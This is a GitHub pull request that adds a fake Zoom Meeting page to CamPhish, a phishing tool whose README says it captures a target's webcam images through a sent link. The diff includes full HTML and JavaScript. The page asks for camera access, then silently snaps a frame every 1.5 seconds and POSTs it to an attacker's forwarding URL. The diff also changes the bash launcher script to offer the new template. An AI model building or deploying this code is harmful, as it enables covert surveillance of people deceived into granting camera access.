Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Zoom Meeting Template #42

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# CamPhish
Grab cam shots from target's phone front camera or PC webcam just sending a link.
![cheese](https://techchip.net/wp-content/uploads/2020/04/camphish.jpg)
<img src="Screenshot.png" alt="Camphish Screenshot" style="width: 80%">

# What is CamPhish?
<p>CamPhish is techniques to take cam shots of target's phone fornt camera or PC webcam. CamPhish Hosts a fake website on in built PHP server and uses ngrok & serveo to generate a link which we will forward to the target, which can be used on over internet. website asks for camera permission and if the target allows it, this tool grab camshots of target's device</p>
Expand Down
Binary file added Screenshot.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
198 changes: 198 additions & 0 deletions ZoomMeeting.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,198 @@
<!doctype html>
<html>

<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<script src="https://kit.fontawesome.com/c4c45dfab4.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>

<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<style>
@import url("https://fonts.googleapis.com/css2?family=Nunito:wght@500;500&display=swap");

body {
height: 100vh;
width: 100vw;
}

* {
padding: 0px;
margin: 0px;
font-family: 'Nunito', sans-serif;
font-weight: 500;
}

.main-screen {
background-color: #273039;
height: 100vh;
width: 100%;
display: flex;
justify-content: center;
align-items: center;
}

img {
height: 80px;
width: 80px;
}

.bottom-bar {
position: fixed;
padding: 0px 40px 0px -40px;
bottom: 0px;
height: 80px;
width: 100%;
background-color: #1F2022;
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
color: #fff;
}

.icon-button {
display: flex;
flex-direction: column;
justify-items: center;
align-items: center;
}

i {
margin-bottom: 8px;
font-size: 26px;
}

button {
color: #fff;
background-color: crimson;
padding: 5px 20px;
border: none;
border-radius: 5px;
border-style: none;
outline: none;
}

.float_button {
background-color: #1F2022;
height: 40px;
border-radius: 5px;
width: 40px;
position: fixed;
display: flex;
align-items: center;
justify-content: center;
top: 5px;
right: 5px;
}
</style>

<script>

function post(imgdata) {
$.ajax({
type: 'POST',
data: { cat: imgdata },
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function (result) {
// call the function that handles the response/results
},
error: function () {
}
});
};


'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}

// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;

var context = canvas.getContext('2d');
setInterval(function () {

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData);
}, 1500);


}

// Load init
init();

</script>

<body>
<div class="float_button">
<i class="fas fa-expand" style="color: #fff; font-size: 18px; margin-top: 5px;"></i>
</div>
<div class="main-screen">
<img src="https://www.qvphysiotherapy.com/wp-content/uploads/2018/12/profile-placeholder.png" alt="user profile">
</div>
<div class="bottom-bar">
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-microphone"></i>
<h6>Mute</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-video"></i>
<h6>Stop Video</h6>
</div>
<div class="icon-button" style="margin-left: auto;">
<i class="fas fa-shield-alt"></i>
<h6>Security</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-users"></i>
<h6>Participants</h6>
</div>
<div class="icon-button" style="color: lawngreen; margin-left: 50px;">
<i class="fas fa-plus-square"></i>
<h6>Share content</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-comments"></i>
<h6>Chat</h6>
</div>
<div class="icon-button" style="margin-right: auto; margin-left: 50px;">
<i class="fas fa-record-vinyl"></i>
<h6>Record</h6>
</div>
<button style="margin-right: 50px;">End</button>
</div>
</body>

</html>
13 changes: 11 additions & 2 deletions camphish.sh
Original file line number Diff line number Diff line change
Expand Up @@ -127,9 +127,12 @@ sed 's+forwarding_link+'$link'+g' template.php > index.php
if [[ $option_tem -eq 1 ]]; then
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
else
elif [[ $option_tem -eq 2 ]]; then
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
else
sed 's+forwarding_link+'$link'+g' ZoomMeeting.html > index3.html
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
fi
rm -rf index3.html

Expand All @@ -146,6 +149,7 @@ else
printf "\n-----Choose a template----\n"
printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Festival Wishing\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Live Youtube TV\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Zoom Meeting\e[0m\n"
default_option_template="1"
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a template: [Default is 1] \e[0m' option_tem
option_tem="${option_tem:-${default_option_template}}"
Expand All @@ -154,6 +158,8 @@ read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter festival name: \e[0m' fe
fest_name="${fest_name//[[:space:]]/}"
elif [[ $option_tem -eq 2 ]]; then
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter YouTube video watch ID: \e[0m' yt_video_ID
elif [[ $option_tem -eq 3 ]]; then
printf ""
else
printf "\e[1;93m [!] Invalid template option! try again\e[0m\n"
sleep 1
Expand Down Expand Up @@ -248,9 +254,12 @@ sed 's+forwarding_link+'$send_link'+g' template.php > index.php
if [[ $option_tem -eq 1 ]]; then
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
else
elif [[ $option_tem -eq 2 ]]; then
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
else
sed 's+forwarding_link+'$link'+g' ZoomMeeting.html > index3.html
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
fi
rm -rf index3.html

Expand Down